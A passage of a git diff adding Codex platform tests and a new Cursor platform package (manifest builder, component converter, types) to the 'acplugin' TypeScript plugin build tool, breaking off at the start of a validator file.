包的两个 add-only patch。 */ + const extension = defineExtension({ + name: 'codex-extension-fixture', + apiVersion: '1', + /** discover 返回资源以触发 Adapter 生命周期。 */ + discover: () => ({ enabled: true }), + /** build 透传当前 Fixture 的平台中立状态。 */ + build: (_context, discovered) => discovered, + adapters: [{ + extensionApiVersion: '1', + platform: codex().id, + platformApiVersion: '1', + /** apply 只能新增 Manifest 字段和自己拥有的 Artifact。 */ + apply(context) { + context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); + context.patchDocument({ document: 'plugin-manifest', path: ['mcpServers'], value: './.mcp.json' }); + context.emitArtifact(bytesArtifact('hooks/hooks.json', '{"hooks":{}}\n')); + context.emitArtifact(bytesArtifact('.mcp.json', '{"docs":{"url":"https://developers.openai.com/mcp"}}\n')); + }, + }], + }); + /** 完成 Extension 合并和最终引用验证的生命周期结果。 */ + const result = await run(resolvedConfig(root, 'build', codex(), [extension])); + /** 最终 Plugin Manifest 中的两个 Extension 引用。 */ + const manifest = JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), 'utf8')); + + expect(result.success).toBe(true); + expect(manifest).toMatchObject({ hooks: './hooks/hooks.json', mcpServers: './.mcp.json' }); + expect(result.deliveryUnits[0]?.artifacts).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'hooks/hooks.json', owner: 'extension:codex-extension-fixture' }), + expect.objectContaining({ path: '.mcp.json', owner: 'extension:codex-extension-fixture' }), + ])); + }); + + it('creates a policy-aware self-contained Marketplace and remains byte deterministic', async () => { + /** Marketplace 必须完整复制的主 Plugin 工程。 */ + const root = await temporaryProject(); + await writeSupportedProject(root); + /** 显式安装策略与分类进入 Codex Marketplace 条目。 */ + const platform = codex({ + interface: { category: 'Developer Tools' }, + marketplace: { policy: { installation: 'INSTALLED_BY_DEFAULT' } }, + }); + /** 第一次完整构建的生命周期结果。 */ + const first = await run(resolvedConfig(root, 'build', platform)); + /** Marketplace Distribution 的最终输出根。 */ + const marketplaceRoot = path.join(root, 'dist/codex/marketplace'); + /** 第一次构建后按路径保存的 Artifact 字节快照。 */ + const firstBytes = new Map(); + for (const artifact of first.deliveryUnits.find(unit => unit.id === 'marketplace')!.artifacts) + firstBytes.set(artifact.path, await fs.readFile(path.join(marketplaceRoot, artifact.path))); + /** 第二次使用相同输入覆盖完整 outDir 的生命周期结果。 */ + const second = await run(resolvedConfig(root, 'build', platform)); + + expect(first.success).toBe(true); + expect(second.success).toBe(true); + expect(first.deliveryUnits.map(unit => `${unit.role}:${unit.id}`)).toEqual(['distribution:marketplace', 'primary:plugin']); + await expectGolden(path.join(marketplaceRoot, '.agents/plugins/marketplace.json'), '.agents/plugins/marketplace.json'); + for (const [artifactPath, bytes] of firstBytes) + expect(await fs.readFile(path.join(marketplaceRoot, artifactPath))).toEqual(bytes); + expect(await fs.readFile(path.join(marketplaceRoot, '.codex-plugin/plugin.json'))) + .toEqual(await fs.readFile(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'))); + }); + + it('combines multiple validated primary Plugins into stable Marketplace subdirectories', async () => { + /** 多主单元测试使用的临时物化工作目录。 */ + const root = await temporaryProject(); + /** 暴露 Marketplace Distribution Hook 的 Codex Platform。 */ + const platform = codex({ marketplace: { policy: { installation: 'AVAILABLE' } } }); + /** 使用真实 Core Registry 创建带完整 owner/hash 的主单元。 */ + const units = new DeliveryUnitRegistry(new Map()); + /** 每个 Codex Plugin 都必须携带至少一个有效 Skill。 */ + const skill = (name: string) => `---\nname: ${name}\ndescription: ${name} workflow.\n---\nRun ${name}.\n`; + /** 输入顺序故意与 ID 排序相反的第二个 Plugin。 */ + const beta = await units.add(platform.id, { + id: 'plugin-b', role: 'primary', type: 'plugin', + artifacts: [ + bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ + name: 'beta-tools', version: '2.0.0', description: 'Beta tools.', skills: './skills/', + })), + bytesArtifact('skills/beta/SKILL.md', skill('beta')), + ], + }); + /** 排序后应出现在 Marketplace 第一项的 Plugin。 */ + const alpha = await units.add(platform.id, { + id: 'plugin-a', role: 'primary', type: 'plugin', + artifacts: [ + bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ + name: 'alpha-tools', version: '1.0.0', description: 'Alpha tools.', skills: './skills/', + })), + bytesArtifact('skills/alpha/SKILL.md', skill('alpha')), + ], + }); + /** Distribution 与最终 Validator 共同产生的结构化诊断。 */ + const diagnostics: DiagnosticInput[] = []; + /** 模拟未来 Monorepo 编排器提供的 Marketplace 根上下文。 */ + const context: PlatformDistributionContext = { + command: 'build', + mode: 'production', + project: { + root, + metadata: { name: 'tool-catalog', version: '1.0.0', description: 'Tool catalog.' }, + commands: [], skills: [], agents: [], publicFiles: [], + }, + options: platform.options ?? {}, + workDir: root, + /** 收集 Distribution 生成阶段的结构化诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }; + /** Platform 必须直接接受数组,无需未来重写 Marketplace Builder。 */ + const distributionInputs = await platform.generateDistributions!(context, [beta, alpha]); + /** 使用两个主单元的继承边界注册最终 Distribution。 */ + const distribution = await units.add( + platform.id, + distributionInputs[0]!, + [...alpha.artifacts, ...beta.artifacts], + ); + await withMaterializedDeliveryUnitCandidate(distribution, candidate => platform.validateBundle({ + command: 'build', mode: 'production', candidate, + /** 收集最终候选 Validator 的结构化诊断。 */ + reportDiagnostic: diagnostic => diagnostics.push(diagnostic), + }), root); + /** 解析最终 Marketplace 清单以验证稳定条目顺序和本地来源。 */ + const marketplaceArtifact = distribution.artifacts.find(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH)!; + /** Marketplace 清单由 Platform 生成,因此固定为内存字节来源。 */ + const marketplace = JSON.parse(new TextDecoder().decode( + marketplaceArtifact.source.type === 'bytes' ? marketplaceArtifact.source.value : new Uint8Array(), + )); + + expect(diagnostics).toEqual([]); + expect(marketplace.plugins.map((plugin: { name: string; source: { path: string } }) => [plugin.name, plugin.source.path])).toEqual([ + ['alpha-tools', './plugins/plugin-a'], + ['beta-tools', './plugins/plugin-b'], + ]); + expect(distribution.artifacts).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'plugins/plugin-a/.codex-plugin/plugin.json' }), + expect.objectContaining({ path: 'plugins/plugin-a/skills/alpha/SKILL.md' }), + expect.objectContaining({ path: 'plugins/plugin-b/.codex-plugin/plugin.json' }), + ])); + }); + + it('validates factory and Component fields without raw schema escape hatches', async () => { + expect(() => codex({ raw: true } as never)).toThrow('Unknown Codex Platform option'); + expect(() => codex({ interface: { displayName: 'duplicate' } } as never)).toThrow('Unknown Codex interface option'); + expect(() => codex({ interface: { websiteURL: 'https://user:secret@example.com' } })).toThrow('without credentials'); + expect(() => codex({ marketplace: { policy: { installation: 'UNKNOWN' } } } as never)).toThrow('not supported'); + + /** 非法 Component 专属字段应在 Scanner 阶段失败。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/invalid'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/invalid/SKILL.md'), `--- +description: Invalid platform field fixture. +platforms: + codex: + iconSmall: ../escape.png +--- +Do not build. +`); + /** Scanner 应附带稳定平台字段路径。 */ + const result = await run(resolvedConfig(root, 'validate', codex())); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_COMPONENT_FIELD_INVALID', + fieldPath: ['platforms', 'codex', 'iconSmall'], + })); + }); + + it('rejects invalid Skills appended by an Extension at the final candidate boundary', async () => { + /** 一个有效规范 Skill 保证错误只来自 Extension 追加内容。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), `--- +description: Host extension output. +--- +Use the host workflow. +`); + /** 模拟错误地向 Platform 安装根注入无 Frontmatter Skill 的第三方 Extension。 */ + const extension = defineExtension({ + name: 'invalid-skill-fixture', + apiVersion: '1', + /** discover 返回资源以触发 Adapter。 */ + discover: () => ({ enabled: true }), + /** build 透传 Fixture 状态。 */ + build: (_context, discovered) => discovered, + adapters: [{ + extensionApiVersion: '1', + platform: codex().id, + platformApiVersion: '1', + /** apply 追加一个结构路径正确但内容协议错误的 Skill。 */ + apply(context) { + context.emitArtifact(bytesArtifact('skills/invalid-extension/SKILL.md', 'missing frontmatter\n')); + }, + }], + }); + /** 最终 Validator 必须阻止无效 Extension 内容进入交付单元。 */ + const result = await run(resolvedConfig(root, 'build', codex(), [extension])); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_SKILL_FRONTMATTER_INVALID' })); + }); + + it('validates referenced Hook configuration at the final Platform boundary', async () => { + /** 有效 Skill 保证最终错误只来自 Extension 贡献的 Hook 配置。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), `--- +description: Host invalid Hook validation. +--- +Validate the extension output. +`); + /** 模拟绕过正式 Hooks Extension 并贡献无效 Codex Handler 的第三方 Adapter。 */ + const extension = defineExtension({ + name: 'invalid-codex-hooks', + apiVersion: '1', + /** discover 返回资源以触发 Adapter。 */ + discover: () => true, + adapters: [{ + extensionApiVersion: '1', + platform: codex().id, + platformApiVersion: '1', + /** apply 只贡献候选,Platform 最终 Validator 负责原生协议检查。 */ + apply(context) { + context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); + context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ + hooks: { SessionEnd: [{ hooks: [{ type: 'command', command: 'node hook.mjs', timeout: 4 }] }] }, + }))); + }, + }], + }); + /** SessionEnd 四秒超出 Codex 官方三秒上限,候选不得提交。 */ + const result = await run(resolvedConfig(root, 'build', codex(), [extension])); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_HOOK_TIMEOUT_LIMIT' })); + }); + + it('validates openai.yaml and its Skill-local icon references', async () => { + /** 声明缺失 Skill 图标的工程用于覆盖元数据资源验证。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/icon-test'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/icon-test/SKILL.md'), `--- +description: Validate Skill metadata assets. +platforms: + codex: + iconSmall: ./assets/missing.png +--- +Validate metadata assets. +`); + /** 最终 Validator 应拒绝 Scanner 无法提前确认的产物相对引用。 */ + const result = await run(resolvedConfig(root, 'build', codex())); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_SKILL_ASSET_MISSING' })); + }); + + it('rejects branding paths whose bytes are not a supported square image', async () => { + /** 包含有效 Skill 和伪造品牌图片的最终候选。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/branding'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/branding/SKILL.md'), `--- +description: Validate plugin branding. +--- +Validate the branding files. +`); + await fs.writeFile(path.join(root, 'public/assets/not-an-image.bin'), Buffer.from([0, 1, 2, 255])); + /** Factory 允许安全路径,最终 Validator 负责检查实际文件内容。 */ + const result = await run(resolvedConfig(root, 'build', codex({ + interface: { logo: './assets/not-an-image.bin' }, + }))); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', + })); + }); + + it('strictly rejects malformed SVG XML and dimensions with units', async () => { + /** 每个无效 SVG Fixture 的稳定文件名和原始内容。 */ + const fixtures = [ + ['unclosed.svg', ''], + ['unit-size.svg', ''], + ] as const; + /** [fileName, source] 表示当前应被严格 SVG 解析拒绝的候选。 */ + for (const [fileName, source] of fixtures) { + /** 当前无效 SVG 用例的独立工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/branding'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/branding/SKILL.md'), `--- +description: Validate strict SVG parsing. +--- +Validate the branding SVG. +`); + await fs.writeFile(path.join(root, 'public/assets', fileName), source); + /** image-size 曾错误接受这两个 SVG,最终 Validator 现在必须失败。 */ + const result = await run(resolvedConfig(root, 'build', codex({ + interface: { logo: `./assets/${fileName}` }, + }))); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_BRANDING_IMAGE_DECODE_FAILED', + })); + } + }); +}); diff --git a/packages/platforms/codex/tsconfig.json b/packages/platforms/codex/tsconfig.json new file mode 100644 index 0000000..3ae4da2 --- /dev/null +++ b/packages/platforms/codex/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/platforms/codex/tsdown.config.ts b/packages/platforms/codex/tsdown.config.ts new file mode 100644 index 0000000..e5a215f --- /dev/null +++ b/packages/platforms/codex/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; + +/** Codex Platform 骨架使用统一 Node ESM 与声明输出。 */ +export default defineConfig({ + entry: ['./src/index.ts'], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: { generator: 'oxc' }, + clean: true, + sourcemap: false, +}); diff --git a/packages/compiler-claude-code/package.json b/packages/platforms/cursor/package.json similarity index 86% rename from packages/compiler-claude-code/package.json rename to packages/platforms/cursor/package.json index e882356..2dcdc17 100644 --- a/packages/compiler-claude-code/package.json +++ b/packages/platforms/cursor/package.json @@ -1,5 +1,5 @@ { - "name": "@acplugin/compiler-claude-code", + "name": "@acplugin/platform-cursor", "version": "0.0.0", "private": true, "type": "module", @@ -14,7 +14,7 @@ "devDependencies": { "@types/node": "catalog:", "tsdown": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/platforms/cursor/src/components.ts b/packages/platforms/cursor/src/components.ts new file mode 100644 index 0000000..990ac7d --- /dev/null +++ b/packages/platforms/cursor/src/components.ts @@ -0,0 +1,151 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + type ArtifactInput, + type Component, + type PlatformComponentValidationContext, + type PlatformGenerateContext, + type PluginProject, +} from '@acplugin/core'; + +/** Cursor 1.0 暂不开放未经独立 Schema 验证的 Component 专属字段。 */ +const COMPONENT_FIELDS = new Set(); + +/** + * 校验 Cursor Component 专属字段,阻止 raw Frontmatter 绕过 Platform 所有权。 + * + * @param context Core 规范化并冻结后的字段校验上下文。 + */ +export function validateCursorComponentFields(context: PlatformComponentValidationContext): void { + for (const field of Object.keys(context.fields)) { + if (!COMPONENT_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'CURSOR_COMPONENT_FIELD_UNKNOWN', + severity: 'error', + message: `Unknown Cursor ${context.component.kind} field "${field}".`, + fieldPath: ['platforms', 'cursor', field], + }); + } + } +} + +/** + * 判断一组规范 Agent 能力是否可以收敛为 Cursor readonly。 + * + * @param capabilities Agent 声明的规范能力。 + * @returns 只包含读取与搜索时返回 true。 + */ +function isReadOnly(capabilities: readonly string[]): boolean { + return capabilities.every(capability => capability === 'filesystem:read' || capability === 'search'); +} + +/** + * 把规范 Commands、Skills 与 Agents 转换为 Cursor 原生文件。 + * + * @param context Platform generateBundle 生命周期上下文。 + * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 + */ +export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { + /** 当前 Platform 累计生成的 Component Artifact。 */ + const artifacts: ArtifactInput[] = []; + for (const command of context.project.commands) { + artifacts.push(bytesArtifact(`commands/${command.id}.md`, markdownWithFrontmatter({ + description: command.description, + }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')))); + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'component', + level: 'native', + reason: 'Cursor supports plugin Commands and the $ARGUMENTS placeholder.', + }); + if (command.argumentHint !== undefined) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'argumentHint', + level: 'degraded', + transformation: 'The Command remains callable without argument hint UI.', + reason: 'Cursor Command metadata has no verified argument hint field.', + }); + } + } + + for (const skill of context.project.skills) { + artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + 'name': skill.id, + 'description': skill.description, + 'disable-model-invocation': !skill.invocation.model, + }, skill.body))); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file', path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'component', + level: 'native', + reason: 'Cursor supports plugin Agent Skills natively.', + }); + if (!skill.invocation.user) { + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'invocation.user', + level: 'degraded', + transformation: 'The Skill remains explicitly invocable.', + reason: 'Cursor Skill metadata cannot disable explicit user invocation.', + }); + } + } + + for (const agent of context.project.agents) { + /** 只有纯读取能力可以由 Cursor readonly 精确收敛。 */ + const readonly = isReadOnly(agent.capabilities); + artifacts.push(bytesArtifact(`agents/${agent.id}.md`, markdownWithFrontmatter({ + name: agent.id, + description: agent.description, + ...(readonly ? { readonly: true } : {}), + }, agent.body))); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'native', + reason: 'Cursor supports plugin Subagents natively.', + }); + if (agent.model !== 'inherit') { + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'Cursor chooses its current platform default model.', + reason: 'acplugin does not hard-code a changing Cursor model ID for abstract model classes.', + }); + } + if (agent.capabilities.length > 0 && !readonly) { + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.capabilities', + level: 'degraded', + transformation: 'The Subagent remains available without an exact capability boundary.', + reason: 'Cursor can express readonly but not every canonical capability combination.', + }); + } + } + return artifacts; +} + +/** + * 判断工程是否包含某类 Component,以便清单只声明实际 Glob。 + * + * @param project 已完成扫描和依赖图校验的规范工程。 + * @param kind 待检查的 Component 类型。 + * @returns 对应 Glob 需要进入 Cursor Manifest 时返回 true。 + */ +export function hasComponents(project: PluginProject, kind: Component['kind']): boolean { + if (kind === 'command') + return project.commands.length > 0; + if (kind === 'skill') + return project.skills.length > 0; + return project.agents.length > 0; +} diff --git a/packages/platforms/cursor/src/index.ts b/packages/platforms/cursor/src/index.ts new file mode 100644 index 0000000..179b75f --- /dev/null +++ b/packages/platforms/cursor/src/index.ts @@ -0,0 +1,47 @@ +import { definePlatform, type AcpluginPlatform, type JsonObject } from '@acplugin/core'; +import { generateComponentArtifacts, validateCursorComponentFields } from './components.js'; +import { createManifestDocument, serializeDocuments, validatePlatformOptions } from './manifest.js'; +import type { CursorPlatformOptions } from './types.js'; +import { validateCursorBundle } from './validator.js'; + +export type { CursorPlatformOptions } from './types.js'; + +/** Cursor Platform 的稳定开放 ID。 */ +export const PLATFORM_ID = 'cursor' as const; +/** Cursor Platform 实现的 Core API 版本。 */ +export const PLATFORM_API_VERSION = '1' as const; + +/** + * 创建独立且可由 Core 品牌校验的 Cursor Platform。 + * + * @param options 当前 Platform 的严格度覆盖。 + * @returns Cursor Plugin 交付实现。 + */ +export function cursor(options: CursorPlatformOptions = {}): AcpluginPlatform { + validatePlatformOptions(options); + /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + const { strict, ...platformOptions } = options; + return definePlatform({ + id: PLATFORM_ID, + apiVersion: PLATFORM_API_VERSION, + deliveryType: 'plugin', + ...(strict === undefined ? {} : { strict }), + options: platformOptions as unknown as JsonObject, + validateComponentFields: validateCursorComponentFields, + /** prepare 创建 Platform 自有 Manifest,扩展点随后由 Core 接管。 */ + prepare: context => ({ documents: [createManifestDocument(context)], artifacts: [] }), + /** generateBundle 转换 Component 并序列化完成 Adapter 合并的 Document。 */ + generateBundle: context => ({ + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + ...generateComponentArtifacts(context), + ...serializeDocuments(context.documents), + ], + }), + /** 最终候选必须满足固定官方 Schema 子集和全部引用边界。 */ + validateBundle: validateCursorBundle, + }); +} diff --git a/packages/platforms/cursor/src/manifest.ts b/packages/platforms/cursor/src/manifest.ts new file mode 100644 index 0000000..6436f1c --- /dev/null +++ b/packages/platforms/cursor/src/manifest.ts @@ -0,0 +1,186 @@ +import { + bytesArtifact, + stableJson, + type ArtifactInput, + type DraftDocument, + type JsonObject, + type PlatformPrepareContext, +} from '@acplugin/core'; +import { hasComponents } from './components.js'; +import type { CursorPlatformOptions, CursorPluginManifest } from './types.js'; + +/** Cursor Plugin 清单的稳定逻辑 Document ID。 */ +export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; + +/** Cursor Plugin 清单相对于安装根的固定路径。 */ +export const PLUGIN_MANIFEST_PATH = '.cursor-plugin/plugin.json'; + +/** Cursor Platform 写入 Artifact 时使用的固定 owner。 */ +const PLATFORM_OWNER = 'platform:cursor' as const; + +/** Cursor 与 Core 共同采用的完整语义版本规则。 */ +export const SEMVER_PATTERN: RegExp = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/u; + +/** + * 判断值是否为非空字符串。 + * + * @param value Platform 工厂收到的未知候选。 + * @returns 可安全进入官方 Manifest 时返回 true。 + */ +function isNonEmptyString(value: unknown): value is string { + return typeof value === 'string' && value.trim().length > 0; +} + +/** + * 校验 Cursor Platform 工厂只接收官方 Schema 对应字段。 + * + * @param options 用户声明的 Cursor Platform 选项。 + */ +export function validatePlatformOptions(options: CursorPlatformOptions): void { + /** Cursor Platform 对外开放的精确顶层字段。 */ + const allowed = new Set(['strict', 'publisher', 'logo', 'category', 'tags', 'minClientVersions']); + for (const field of Object.keys(options)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown Cursor Platform option "${field}".`); + } + if (options.strict !== undefined && typeof options.strict !== 'boolean') + throw new TypeError('Cursor strict must be a boolean.'); + /** field 表示当前可选普通字符串配置。 */ + for (const field of ['publisher', 'logo', 'category'] as const) { + if (options[field] !== undefined && !isNonEmptyString(options[field])) + throw new TypeError(`Cursor ${field} must be a non-empty string.`); + } + if (options.tags !== undefined + && (!Array.isArray(options.tags) + || options.tags.some(tag => !isNonEmptyString(tag)) + || new Set(options.tags).size !== options.tags.length)) { + throw new TypeError('Cursor tags must contain unique non-empty strings.'); + } + if (options.minClientVersions !== undefined) { + if (options.minClientVersions === null || typeof options.minClientVersions !== 'object' + || Array.isArray(options.minClientVersions) || Object.keys(options.minClientVersions).length === 0) { + throw new TypeError('Cursor minClientVersions must be a non-empty object.'); + } + /** [client, version] 表示当前最低客户端版本约束。 */ + for (const [client, version] of Object.entries(options.minClientVersions)) { + if (!isNonEmptyString(client) || typeof version !== 'string' || !SEMVER_PATTERN.test(version)) + throw new TypeError('Cursor minClientVersions must map non-empty client IDs to semantic versions.'); + } + } +} + +/** + * 创建只包含官方字段和实际 Component Glob 的 Cursor Plugin 清单。 + * + * @param context Platform prepare 阶段的规范工程与报告上下文。 + * @returns 可供 Extension add-only patch 的初始清单。 + */ +function createPluginManifest(context: PlatformPrepareContext): CursorPluginManifest { + /** 所有平台共享且已由 Core 验证的 Plugin 元数据。 */ + const metadata = context.project.metadata; + return { + name: metadata.name, + version: metadata.version, + description: metadata.description, + ...(metadata.displayName === undefined ? {} : { displayName: metadata.displayName }), + ...(metadata.author === undefined + ? {} + : { author: { name: metadata.author.name, ...(metadata.author.email === undefined ? {} : { email: metadata.author.email }) } }), + ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), + ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), + ...(metadata.license === undefined ? {} : { license: metadata.license }), + ...(metadata.keywords === undefined ? {} : { keywords: metadata.keywords }), + ...(context.options.publisher === undefined ? {} : { publisher: context.options.publisher as string }), + ...(context.options.logo === undefined ? {} : { logo: context.options.logo as string }), + ...(context.options.category === undefined ? {} : { category: context.options.category as string }), + ...(context.options.tags === undefined ? {} : { tags: context.options.tags as readonly string[] }), + ...(context.options.minClientVersions === undefined + ? {} + : { minClientVersions: context.options.minClientVersions as Readonly> }), + ...(hasComponents(context.project, 'command') ? { commands: './commands/*.md' } : {}), + ...(hasComponents(context.project, 'skill') ? { skills: './skills/*/SKILL.md' } : {}), + ...(hasComponents(context.project, 'agent') ? { agents: './agents/*.md' } : {}), + }; +} + +/** + * 报告统一元数据在 Cursor Plugin 清单中的最终去向。 + * + * @param context Platform prepare 阶段的元数据报告出口。 + */ +function reportMetadata(context: PlatformPrepareContext): void { + /** 当前工程中始终存在并写入清单的必填元数据字段。 */ + const required = ['name', 'version', 'description'] as const; + /** field 表示当前必填字段,用于报告稳定输出位置。 */ + for (const field of required) { + context.reportMetadata({ + field, + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.${field}`, + reason: `Cursor plugin.json supports ${field}.`, + }); + } + /** Cursor 原生输出的统一可选元数据。 */ + const emitted = ['displayName', 'homepage', 'repository', 'license', 'keywords'] as const; + /** field 表示当前实际声明的可选字段。 */ + for (const field of emitted) { + if (context.project.metadata[field] !== undefined) { + context.reportMetadata({ + field, + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.${field}`, + reason: `Cursor plugin.json supports ${field}.`, + }); + } + } + if (context.project.metadata.author !== undefined) { + context.reportMetadata({ + field: 'author', + disposition: 'emitted', + output: `${PLUGIN_MANIFEST_PATH}.author`, + reason: 'Cursor plugin.json supports author name and email.', + }); + if (context.project.metadata.author.url !== undefined) { + context.reportDiagnostic({ + code: 'CURSOR_METADATA_AUTHOR_URL_OMITTED', + severity: 'warning', + message: 'Cursor author.url is omitted because the official author Schema accepts only name and email.', + fieldPath: ['author', 'url'], + }); + } + } +} + +/** + * 创建 Cursor Platform 的初始 Plugin Manifest Document。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 只开放 Hooks 与 MCP 根字段的单一 Document。 + */ +export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { + reportMetadata(context); + return { + id: PLUGIN_MANIFEST_ID, + path: PLUGIN_MANIFEST_PATH, + format: 'json', + owner: PLATFORM_OWNER, + value: createPluginManifest(context) as unknown as JsonObject, + extensionPoints: [['hooks'], ['mcpServers']], + }; +} + +/** + * 将完成 Extension patch 的 Cursor Document 序列化为 Artifact。 + * + * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 + * @returns 包含固定 Plugin 清单路径的序列化 Artifact。 + */ +export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { + /** 按逻辑 ID 查找而不是根据物理路径猜测语义的 Plugin 清单。 */ + const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); + if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') + throw new Error('Cursor Platform Draft is missing its canonical Plugin Manifest Document.'); + if (documents.length !== 1) + throw new Error('Cursor Platform received an unknown Document.'); + return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; +} diff --git a/packages/platforms/cursor/src/types.ts b/packages/platforms/cursor/src/types.ts new file mode 100644 index 0000000..84ecd16 --- /dev/null +++ b/packages/platforms/cursor/src/types.ts @@ -0,0 +1,57 @@ +/** Cursor Plugin Manifest 中经过官方 Schema 验证的平台专属选项。 */ +export interface CursorPlatformOptions { + /** 覆盖当前 Platform 的兼容性严格度。 */ + readonly strict?: boolean; + /** Marketplace/安装界面显示的发布组织。 */ + readonly publisher?: string; + /** 相对 Plugin 根或绝对 URL 的 Logo。 */ + readonly logo?: string; + /** Cursor Marketplace 分类。 */ + readonly category?: string; + /** Cursor Marketplace 标签。 */ + readonly tags?: readonly string[]; + /** 按客户端 ID 声明的最低语义版本。 */ + readonly minClientVersions?: Readonly>; +} + +/** Cursor 官方 Plugin Manifest 的受控结构。 */ +export interface CursorPluginManifest { + /** 稳定 Plugin ID。 */ + readonly name: string; + /** 人类可读展示名。 */ + readonly displayName?: string; + /** Plugin 说明。 */ + readonly description: string; + /** Plugin 语义版本。 */ + readonly version: string; + /** Cursor Schema 支持的作者姓名和邮件。 */ + readonly author?: { readonly name: string; readonly email?: string }; + /** 项目主页。 */ + readonly homepage?: string; + /** 源码仓库。 */ + readonly repository?: string; + /** SPDX License。 */ + readonly license?: string; + /** 搜索关键词。 */ + readonly keywords?: readonly string[]; + /** Platform 专属发布组织。 */ + readonly publisher?: string; + /** Platform 专属 Logo。 */ + readonly logo?: string; + /** Platform 专属分类。 */ + readonly category?: string; + /** Platform 专属标签。 */ + readonly tags?: readonly string[]; + /** 最低客户端版本映射。 */ + readonly minClientVersions?: Readonly>; + /** Command 文件 Glob。 */ + readonly commands?: string; + /** Skill 文件 Glob。 */ + readonly skills?: string; + /** Agent 文件 Glob。 */ + readonly agents?: string; + /** Hooks 配置路径或内联对象。 */ + readonly hooks?: string | Readonly>; + /** MCP 配置路径或内联对象。 */ + readonly mcpServers?: string | Readonly>; +} diff --git a/packages/platforms/cursor/src/validator.ts b/packages/platforms/cursor/src/validator.ts new file mode 100644 index 0000000..29e9fab --- /dev/null +++ b/packages/platforms/cursor/src/validator.ts @@ -0,0 +1,164 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import { PLUGIN_MANIFEST_PATH, 